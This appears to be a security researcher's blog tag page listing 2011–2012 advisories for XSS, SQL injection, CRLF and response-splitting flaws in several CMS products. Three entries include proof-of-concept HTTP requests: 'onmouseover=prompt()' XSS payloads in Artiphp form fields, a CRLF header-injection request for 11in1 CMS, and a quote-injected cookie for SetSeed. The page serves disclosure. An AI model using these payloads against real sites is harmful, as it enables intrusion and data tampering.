Posts Tagged ‘ injection ’

Artiphp CMS v5.5.0 Multiple XSS POST Injection Vulnerabilities

Artiphp CMS suffers from multiple cross-site scripting vulnerabilities via several parameters thru POST method. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user’s browser session.

Advisory ID: ZSL-2012-5090
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5090.php

PoC:

POST /artpublic/recommandation/index.php HTTP/1.1
Content-Length: 619
Content-Type: application/x-www-form-urlencoded
Cookie: ARTI=tsouvg67cld88k9ihbqfgk3k77
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

add_img_name_post "onmouseover=prompt(1) joxy
adresse_destinataire
adresse_expediteur lab%40zeroscience.mk
asciiart_post "onmouseover=prompt(2) joxy
expediteur "onmouseover=prompt(3) joxy
message Hello%20World
message1 %ef%bf%bd%20Recommand%20%ef%bf%bd%0a%bb%20http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
send Send
titre_sav "onmouseover=prompt(4) joxy
url_sav http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
z39d27af885b32758ac0e7d4014a61561 "onmouseover=prompt(5) joxy
zd178e6cdc57b8d6ba3024675f443e920 2

2012
05/16
POSTED BY
CATEGORY
Internal
Comments Off

phpList 2.10.17 Remote SQL Injection and XSS Vulnerability

Input passed via the parameter ‘sortby’ is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The param ‘num’ is vulnerable to a XSS issue where the attacker can execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Vendor status:

[05.03.2012] Vulnerabilities discovered.
[19.03.2012] Submited details to the vendor’s bug tracking system.
[19.03.2012] Vendor investigates, confirms and fixes the issues.
[19.03.2012] Sent patch release coordination to the vendor.
[21.03.2012] Vendor releases version 2.10.18 to address these issues.
[21.03.2012] Coordinated public security advisory released.

Advisory ID: ZSL-2012-5081
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5081.php

Vendor Advisory: https://www.phplist.com/?lid=567
https://mantis.phplist.com/view.php?id=16557

2012
03/21
POSTED BY
CATEGORY
Internal
Comments Off

Promise WebPAM v2.2.0.13 Multiple Remote Vulnerabilities

Input passed via the parameters ‘entSortOrder’ and ‘entSort’ in ‘ent_i.jsp’ script are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The parameters ‘startTime’ and ‘endTime’ in ‘ent_i.jsp’ are vulnerable to a XSS issue where the attacker can execute arbitrary HTML and script code in a user’s browser session in context of an affected site. The parameter ‘userID’ in ‘usr_ent.jsp’ and ‘usr_t.jsp’ is vulnerable to HTTP Response Splitting which can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user.

Advisory ID: ZSL-2012-5077
Advisory details: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5077.php

2012
03/08
POSTED BY
CATEGORY
Internal
Comments Off

Fork CMS 3.2.7 Multiple HTML Code Injection Vulnerabilities

Fork CMS suffers from multiple XSS vulnerabilities when parsing user input to several parameters in different scripts, via POST and GET methods. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user’s browser session.

Advisory ID: ZSL-2012-5076
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5076.php

2012
03/06
POSTED BY
CATEGORY
Internal
Comments Off

Infoproject Biznis Heroj Multiple Vulnerabilities

Infoproject Biznis Heroj (XSS/SQLi) Multiple Remote Vulnerabilities

Input passed via the parameters ‘filter’ in ‘widget.dokumenti_lista.php’ and ‘fin_nalog_id’ in ‘nalozi_naslov.php’ script are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The param ‘config’ in ‘nalozi_naslov.php’ and ‘widget.dokumenti_lista.php’ is vulnerable to a XSS issue where the attacker can execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Infoproject Biznis Heroj (login.php) Authentication Bypass Vulnerability

The vulnerability is caused due to an error in the logon authentication script (login.php) and can be exploited to bypass the login procedure by defining the ‘username’ and ‘password’ POST parameters with an SQL Injection attack, gaining admin privileges.

2012
01/04
POSTED BY
CATEGORY
Internal
Comments Off

11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability

Input passed to the ‘content’ parameter in ‘do.php’ on line 2112 is not properly sanitised before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user.

—————-
POST /11in1/admin/do.php?action=postStatus HTTP/1.1
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=s5vsgh5cu5vfs0alihug4ut2k6; phpMyAdmin=36g6t7ggq5ildo4uiff7b5n76rpl7n9m; pma_lang=be%40latin; pma_collation_connection=cp1250_czech_cs; pma_fontsize=81%25
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

content=%0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection

–

HTTP/1.1 302 Found
Date: Sun, 06 Nov 2011 18:53:29 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: msg.php?connect=yes&status=
ZSL-Custom-Header: love_injection
Content-Length: 1716
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5055.php

2011
11/08
POSTED BY
CATEGORY
Internal
Comments Off

SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability

SetSeed CMS is vulnerable to SQL injection. A remote attacker could send specially-crafted SQL statements to the vulnerable script using the cookie input ‘loggedInUser’, which could allow the attacker to view, add, modify or delete information in the back-end database.

———
GET /setseed-hub/ HTTP/1.1
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

HTTP/1.1 200 OK
Date: Wed, 02 Nov 2011 15:39:39 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 150
Keep-Alive: timeout=5, max=62
Connection: Keep-Alive
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ”1”’ at line 1

———

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php

2011
11/02
POSTED BY
CATEGORY
Internal
Comments Off

Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities

Input passed via the parameters ‘redirect.php’ in ‘message.php’ and ‘w’ and ‘d’ in ‘index.php’ script are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code or execute arbitrary HTML and script code in a user’s browser session in context of an affected site. Path disclosure resides in the ‘sq’ parameter in ‘/plugins/search/search.php’ script.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5051.php

2011
10/10
POSTED BY
CATEGORY
Internal
Comments Off

Toko Lite CMS Multiple XSS POST Injection / CRLF Injection / HTTP Response Splitting

Toko CMS suffers from a XSS vulnerability when parsing user input to the ‘currPath’ and ‘path’ parameters via POST method in ‘editnavbar.php’. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user’s browser session. Input passed to the ‘charSet’ parameter in ‘edit.php’ is not properly sanitised before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user.

Advisory ID: ZSL-2011-5047
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5047.php
PoC: http://www.zeroscience.mk/codes/tokocms_xss.txt

Advisory ID: ZSL-2011-5048
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php
PoC: http://www.zeroscience.mk/codes/tokocms_crlf.txt

2011
09/19
POSTED BY
CATEGORY
Internal
Comments Off

ATutor Multiple Products Multiple Vulnerabilities

ATutor products: ATutor, AContent and AChecker suffer from multiple vulnerabilities including: cross-site scripting (stored, non-persistent), http response splitting, sql injection, path disclosure.

Advisories:

ZSL-2011-5037 – ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability
ZSL-2011-5036 – ATutor 2.0.2 Multiple Remote Vulnerabilities (SQLi/XSS/PD)
ZSL-2011-5035 – AChecker 1.2 Multiple Remote XSS/PD vulnerabilities
ZSL-2011-5034 – AChecker 1.2 Multiple Error-Based SQL Injection Vulnerabilities
ZSL-2011-5033 – AContent 1.1 (category_name) Remote Script Insertion Vulnerability
ZSL-2011-5032 – AContent 1.1 Multiple Cross-Site Scripting Vulnerabilities
ZSL-2011-5031 – AContent 1.1 Multiple SQL Injection Vulnerabilities

Issues have been reported to the vendor, but not assigned yet, so…that’s that. Cheers ;)

2011
08/06
POSTED BY
CATEGORY
Internal
Comments Off

Rete Mirabilia

Site Meter